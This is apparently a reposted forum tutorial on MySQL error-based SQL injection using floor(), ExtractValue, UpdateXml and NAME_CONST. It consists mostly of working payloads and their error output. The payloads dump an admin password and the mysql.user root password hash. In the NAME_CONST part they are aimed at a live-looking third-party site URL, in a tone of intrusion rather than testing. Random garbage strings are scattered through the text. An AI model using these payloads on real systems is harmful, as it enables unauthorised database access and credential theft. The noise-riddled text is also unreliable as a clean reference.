mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
| id | title | content |
4 |" n$ [1 y( u5 ]+—-+——-+———+
6 r/ n0 v# Q: f0 c5 c|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
, K6 v* b7 p: V- yERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
5 U+ l& M, I% l  y5 OERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
) Y6 M8 D1 @3 K7 A( fERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

再收集：

4 ^; X* A, X' c8 Bhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
. X3 {- v" G% \5 `. O: u0 s& s8 G. G5 k
6 e* i. h1 A; R  u* q8 H  MErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
+ d6 d$ C; U7 x* u) C1 L
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

4 {) z4 w6 `: Y6 n. J, t2 e% G# hErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
( m! H  n  y+ f
MYSQL高版本报错注入技巧-利用NAME_CONST注入
3 J0 E* d% w) {% tIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.

, U3 o5 Y' f5 K: B
相关信息
0 T, K, a2 w5 u# H
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
3 ?. u) ^+ d& k" V& ^
Code:
NAME_CONST(DATA, VALUE)

* G: {9 [9 B! ~% n* lReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
3 O& [$ b$ i+ ]) p8 l" d; d
SELECT NAME_CONST('TEST', 1)



; a% K) W, t$ A0 }$ k  P9 y+ j6 S|---------------|
|     TEST      |
|               |
! m" [2 X5 D7 n8 D1 S' m6 p|---------------|
|       1       |
|               |
1 e. `- P9 @7 M3 _3 s|---------------|
2 ]' Y6 u/ v# E& e" X, \% k2 J

! J0 ~" t- D3 p
! Y' {8 x4 L  J5 {
- ^0 Z7 {4 p7 H* Z% W$ Z* ]http://dev.mysql.com/doc/refman/5.0/en/m...name-const
1 V7 S$ O6 \# W4 NIntro to MySQL Variables
- i- P3 Z/ v4 x3 M- W8 i/ @6 T2 m
/ {3 t1 q& C, l' J0 V+ GOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
4 Z# I. Z. h  }- d, l* `% }; x5 O
Code:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
$ H+ D" X6 r8 q+ d4 S' E
4 q9 u4 k2 N# p7 L% p3 d  _% C0 b
3 W$ k& z  z" ~/ ~$ n4 r


Code:
: V7 I: D" R" X1 jand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--

$ H3 ]( |& s/ Y( V7 o
VAR = Your MySQL variable.

MySQL 5.1.3 Server System Variables

Let's try it out on my site..

Code:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

Erroruplicate column name '5.0.27-community-nt'




- X8 R7 G; S( Y- q: a
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

) X# ~" c  C: K3 y( o" t) xData Extraction

" q7 Z' G  U, a& q* w8 @7 RCode:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
$ y; h9 L$ Q& o9 H
0 |% M' V* V# w9 k
& ?# B; ~" V. d- F3 c8 q( B+ q8 CWe should get a duplicate column 1 error...
+ T* ^* S% u) w9 ^
8 m: G; p& I; O; q$ L5 eCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
) N7 `: ~# y5 a9 i
' T. i) i; A# @6 t7 A8 i+ D7 CErroruplicate column name '1



' V& g" v) ?: h9 {1 G

5 W: @5 P6 P/ j# u1 h
( x; V* s- X7 A% r: Y- V& H4 m. iNow let's get the tables out this bitch..
+ _- ?; h8 U6 G4 m5 H1 P" |& n
3 k9 z3 @  e, S8 ~/ I' Z. D) yCode:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


/ s" |& i8 e7 O+ N% _! Q6 V2 ~9 D3 NLet's see if it works here, if it does, we can go on and finish the job.
' K, A" K2 z% `) x, A0 A) _0 ~3 ^
Code:
% l! `$ r, q# o/ d5 S4 Ihttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
* E6 l* M- ~9 [% v

Erroruplicate column name 'com_admanage



+ q4 ^9 v9 E# K3 i8 F! [/ r  R

# X6 z, g9 ], t' [
6 H; ~$ P! @2 E& h$ |Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
9 Q: r% S9 W. C" ~2 |, T! {+ W
8 \' s# A. R# B, q4 r& fLet's get the columns out of the user table..
; O. Y* O5 B* s, _$ t% e
6 m4 Z+ B! p1 r* l9 Z2 o, cCode:
+ h1 |' k, W2 Y; V$ e/ \, f4 V+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--


; N! f# x* b* R6 w/ G% \So mine looks like this, and I get the duplicate column name 'Host'.

Code:
2 c. l% o. a# _" m# }http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

4 W  T$ V: X$ T" CErroruplicate column name 'Host'
# @# w2 R8 f3 X; U& w


$ _7 J$ k2 A9 X. H5 g% P


Woot, time to finish this bitch off.

Code:
4 l6 ]* B' P8 G7 x/ g+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
8 m4 w, _8 q$ A& Q/ U1 v7 C
! a- a- f: x3 S9 I
  \  \* q1 q, l8 vSo mine looks like this...
  D+ {& y0 H. N: Y% E- F- a# L9 X
Code:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
# K. ]) @- g5 a, N1 }
Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'

3 @' @7 F! Y# N. B* e

2 T3 R& ^  I' s" P5 j& `& g

& p+ ^( `! ?( g( n, t
+ y; L2 |  Y/ p( cAnd there we have it, thanks for reading.

1 A" K3 E/ W+ W# H